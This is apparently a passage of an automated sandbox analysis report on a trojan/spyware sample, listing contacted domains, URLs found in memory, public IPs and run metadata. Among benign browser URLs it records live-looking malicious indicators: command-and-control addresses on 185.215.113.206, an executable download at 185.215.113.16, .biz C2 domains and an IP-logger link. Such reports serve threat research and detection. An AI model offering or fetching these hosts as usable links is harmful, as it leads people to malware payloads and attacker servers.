
Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/	false		high
formy-spill.biz	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false		high
https://atten-supporse.biz/api	false		high
atten-supporse.biz	false		high
dwell-exclaim.biz	false		high
http://80.82.65.70/dll/download	false	Avira URL Cloud: safe	unknown
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	false		high
http://mozilla.org/#/properties/proposedEnrollment	firefox.exe, 0000001F.00000002.2930582293.00000294ADE6B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	false		high
http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value	firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 0000001F.00000002.2884773158.000002949C4D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/ws	0882197cda.exe, 00000010.00000002.2678008367.00000000018B8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/quickSuggestRemoteSettingsDataType	firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/spocs	firefox.exe, 0000001F.00000002.2986949900.00000294B43CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2976050815.00000294B0083000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2989111865.00000294B44B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2986949900.00000294B43E2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://screenshots.firefox.com	firefox.exe, 0000001F.00000002.2898856802.00000294A9BE4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 0000001F.00000002.2931152196.00000294ADF43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2926644947.00000294AD16B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2930582293.00000294ADE0A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/apitg	5a20612cd1.exe, 00000011.00000003.2865147981.0000000005793000.00000004.00000800.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.2816774103.0000000005793000.00000004.00000800.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.2862338964.0000000005793000.00000004.00000800.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.2909698304.0000000005793000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2893501186.00000294A8626000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2921314720.00000294ACEC7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2761534873.00000294ABF1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2761201786.00000294ABD00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2761868239.00000294ABF3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2762122666.00000294ABF5A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://profiler.firefox.com/	firefox.exe, 0000001F.00000002.2898856802.00000294A9B6C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/quickSuggestScenariohttp://mozilla.org/#/properties/quickSuggestSpon	firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/quickSuggestSponsoredEnabled	firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gpuweb.github.io/gpuweb/eudict	firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mozilla.org/0	firefox.exe, 0000001F.00000002.3003383813.0000169348D00000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mozilla-services/screenshots	firefox.exe, 0000001F.00000003.2762399051.00000294ABF77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2902018660.00000294AB770000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2761534873.00000294ABF1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2761201786.00000294ABD00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2761868239.00000294ABF3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2762122666.00000294ABF5A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest	firefox.exe, 0000001F.00000002.2906853139.00000294AC110000.00000002.08000000.00040000.00000000.sdmp	false		high
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	false		high
https://account.bellmedia.caOtherBookmarksFolderTitle	firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mozilla.org/#/properties/quickSuggestSponsoredIndex	firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	false		high
https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe	firefox.exe, 0000001F.00000002.2906853139.00000294AC110000.00000002.08000000.00040000.00000000.sdmp	false		high
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	false		high
http://exslt.org/dates-and-times	firefox.exe, 0000001F.00000002.2888692712.00000294A7C61000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000002.2215093487.0000000001AAA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2898856802.00000294A9B6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2888692712.00000294A7CAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2895107226.00000294A9203000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	5a20612cd1.exe, 00000011.00000003.2759178373.0000000005778000.00000004.00000800.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.2758760881.00000000057E0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206Qvx	file.exe, 00000000.00000002.2215093487.00000000019CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.bbc.co.uk/	firefox.exe, 0000001F.00000002.3002467721.00000C7EBB904000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2921314720.00000294ACE8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3003702823.00001C0E8DC00000.00000004.00000800.00020000.00000000.sdmp	false		high
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 0000001F.00000002.2898856802.00000294A9B6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2972970478.00000294AF9A6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2997499284.00000294B5D7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2989111865.00000294B44B0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bugzilla.mo	firefox.exe, 0000001F.00000002.2932542016.00000294AE02F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2895107226.00000294A922C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mitmdetection.services.mozilla.com/	firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	false		high
http://185.215.113.206/ta	0882197cda.exe, 00000010.00000002.2678008367.00000000018B8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/apitat	5a20612cd1.exe, 00000011.00000003.2957358785.0000000001269000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 0000001F.00000002.2931152196.00000294ADF43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2926644947.00000294AD16B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe	5a20612cd1.exe, 00000011.00000003.3222473659.0000000005777000.00000004.00000800.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.3224936078.0000000005793000.00000004.00000800.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/	firefox.exe, 0000001F.00000002.2898856802.00000294A9B6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2997499284.00000294B5D7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2989111865.00000294B44B0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/	5a20612cd1.exe, 00000011.00000003.3061186123.000000000125D000.00000004.00000020.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.2923519142.000000000125F000.00000004.00000020.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.2924215706.0000000001266000.00000004.00000020.00020000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	false		high
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	false		high
https://ebay.comP	firefox.exe, 0000001F.00000002.3007533161.0000330992204000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.iqiyi.com/	firefox.exe, 0000001F.00000002.3002467721.00000C7EBB904000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2921314720.00000294ACE8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2951927454.00000294AE314000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3003702823.00001C0E8DC00000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/featureI	firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/addonsFeatureGate	firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.amazon.com/Z	firefox.exe, 0000001F.00000002.3003383813.0000169348D00000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpd	file.exe, 00000000.00000002.2220844676.000000000C312000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2215093487.0000000001A47000.00000004.00000020.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/addonsShowLessFrequentlyCap	firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/autoFillAdaptiveHistoryEnabled	firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2982705596.00000294B41DE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://monitor.firefox.com/about	firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	false		high
https://account.bellmedia.c	firefox.exe, 0000001F.00000002.2969171257.00000294AF67B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://youtube.com/	firefox.exe, 0000001F.00000002.2997499284.00000294B5DE6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/enrollmentEndDate	firefox.exe, 0000001F.00000002.2930582293.00000294ADE6B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com	firefox.exe, 0000001F.00000002.2969171257.00000294AF67B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2964723813.00000294AEC5C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto	firefox.exe, 0000001F.00000002.2906853139.00000294AC110000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.zhihu.com/	firefox.exe, 0000001F.00000002.3002467721.00000C7EBB904000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2951927454.00000294AE314000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3003702823.00001C0E8DC00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2986949900.00000294B435C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	5a20612cd1.exe, 00000011.00000003.2867480478.000000000586D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2928411061.00000294ADC38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2982705596.00000294B4184000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	5a20612cd1.exe, 00000011.00000003.2867480478.000000000586D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2928411061.00000294ADC38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2982705596.00000294B4184000.00000004.00000800.00020000.00000000.sdmp	false		high
https://infra.spec.whatwg.org/#ascii-whitespace	firefox.exe, 0000001F.00000002.2993230028.00000294B4727000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	5a20612cd1.exe, 00000011.00000003.2869633293.0000000005A8E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://getpocket.com/recommendationsAllows	firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 0000001F.00000003.2867803713.00000294A9F39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2768612925.00000294A9F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2898856802.00000294A9BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2892123688.00000294A827D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2765135318.00000294A9F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 0000001F.00000003.2841617207.00000294B439C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2913315248.00000294ACA99000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2989111865.00000294B4440000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2991035077.00000294B4603000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.co.uk/	firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2921314720.00000294ACE8A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://monitor.firefox.com/user/preferences	firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	false		high
https://screenshots.firefox.com/	firefox.exe, 0000001F.00000002.2902018660.00000294AB770000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2761534873.00000294ABF1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2761201786.00000294ABD00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2761868239.00000294ABF3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2762122666.00000294ABF5A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://merino.services.mozilla.com/api/v1/suggestresource://gre/modules/translation/LanguageDetecto	firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad	firefox.exe, 0000001F.00000002.2930582293.00000294ADE6B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report	firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpser	file.exe, 00000000.00000002.2213992001.0000000000FC7000.00000040.00000001.01000000.00000003.sdmp	false		high
https://www.wykop.pl/	firefox.exe, 0000001F.00000002.2958725609.00000294AE903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3002467721.00000C7EBB904000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3003702823.00001C0E8DC00000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying	firefox.exe, 0000001F.00000002.2906853139.00000294AC110000.00000002.08000000.00040000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016HZhJogON	file.exe, 00000000.00000002.2213992001.0000000000F2C000.00000040.00000001.01000000.00000003.sdmp	false		high
https://www.olx.pl/	firefox.exe, 0000001F.00000002.2958725609.00000294AE903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3002467721.00000C7EBB904000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3003702823.00001C0E8DC00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2986949900.00000294B435C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/Z	firefox.exe, 0000001F.00000002.3003383813.0000169348D00000.00000004.00000800.00020000.00000000.sdmp	false		high
https://xhr.spec.whatwg.org/#sync-warningThe	firefox.exe, 0000001F.00000002.2906853139.00000294AC110000.00000002.08000000.00040000.00000000.sdmp	false		high
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4	firefox.exe, 0000001F.00000002.2906853139.00000294AC110000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2892879533.00000294A8511000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2892879533.00000294A852C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2	firefox.exe, 0000001F.00000002.2906853139.00000294AC110000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2892879533.00000294A8511000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2892879533.00000294A852C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/userdiscoverystream.rec.impressions	firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpr4	0882197cda.exe, 00000010.00000002.2678008367.00000000018B8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/google/closure-compiler/issues/3177	firefox.exe, 0000001F.00000002.2993230028.00000294B4727000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/quickSuggestShouldShowOnboardingDialog	firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://webextensions.settings.services.mozilla.com/v1	firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	false		high
https://iplogger.org/1Pz8p7	3e3be1ecc4.exe, 0000000D.00000003.3089794015.00000000056E1000.00000004.00000020.00020000.00000000.sdmp, 3e3be1ecc4.exe, 0000000D.00000003.3089137215.00000000056E1000.00000004.00000020.00020000.00000000.sdmp, 3e3be1ecc4.exe, 0000000D.00000003.3089580514.00000000057E4000.00000004.00000020.00020000.00000000.sdmp, 3e3be1ecc4.exe, 0000000D.00000003.3089961205.00000000058F1000.00000004.00000020.00020000.00000000.sdmp, 3e3be1ecc4.exe, 0000000D.00000003.3090206271.00000000056E1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration	firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php/D	0882197cda.exe, 00000010.00000002.2678008367.00000000018B8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://addons.mozilla.org/%LOCALE%/firefox/	firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
80.82.65.70	unknown	Netherlands	202425	INT-NETWORKSC	false
104.21.64.1	atten-supporse.biz	United States	13335	CLOUDFLARENETUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
172.217.17.78	plus.l.google.com	United States	15169	GOOGLEUS	false
142.250.181.142	youtube.com	United States	15169	GOOGLEUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1571893
Start date and time:	2024-12-09 20:26:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 18m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	52
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@102/48@59/17
EGA Information:	Successful, ratio: 80%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Max analysis timeout: 600s exceeded, the analysis took too long
Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.214.172, 216.58.208.227, 173.194.222.84, 172.217.17.46, 192.229.221.95, 172.217.21.35, 172.217.19.170, 172.217.19.202, 216.58.208.234, 172.217.21.42, 172.217.19.234, 172.217.17.74, 172.217.17.42, 142.250.181.138, 142.250.181.74, 172.217.19.10, 142.250.181.42, 142.250.181.106, 142.250.181.10, 172.217.17.35, 199.232.210.172, 23.218.210.69, 64.233.162.84, 172.217.19.238, 184.30.22.94, 88.221.134.209, 4.245.163.56, 23.218.208.109, 13.107.246.63, 20.190.177.148, 20.42.65.92, 20.189.173.4
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, aus5.mozilla.org, learn.microsoft.com, a19.dscg10.akamai.net, e11290.dspg.akamaiedge.net, clients2.google.com, ocsp.digicert.com, us-west1.prod.sumo.prod.webservices.mozgcp.net, login.live.com, firefox.settings.services.mozilla.com, learn.microsoft.com.edgekey.net, update.googleapis.com, www.youtube.com, www.gstatic.com, normandy-cdn.services.mozilla.com, star-mini.c10r.facebook.com, fs.microsoft.com, shavar.prod.mozaws.net, ogads-pa.googleapis.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, dyna.wikimedia.org, normandy.cdn.mozilla.net, dualstack.reddit.map.fastly.net, youtube-ui.l.google.com, edgedl.me.gvt1.com, shavar.services.mozilla.com, umwatson.events.data.microsoft.com, clients.l.google.com, location.services.mozilla.com, www.reddit.com, services.addons.mozilla.org, ciscobinary.openh264.org, incoming.telemetry.mozilla.org, support.mozilla.org, go.microsoft.com, redirector.gvt1.com, push
Execution Graph export aborted for target 3e3be1ecc4.exe, PID 6964 because there are no executed function
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
14:27:31	API Interceptor	122x Sleep call for process: file.exe modified
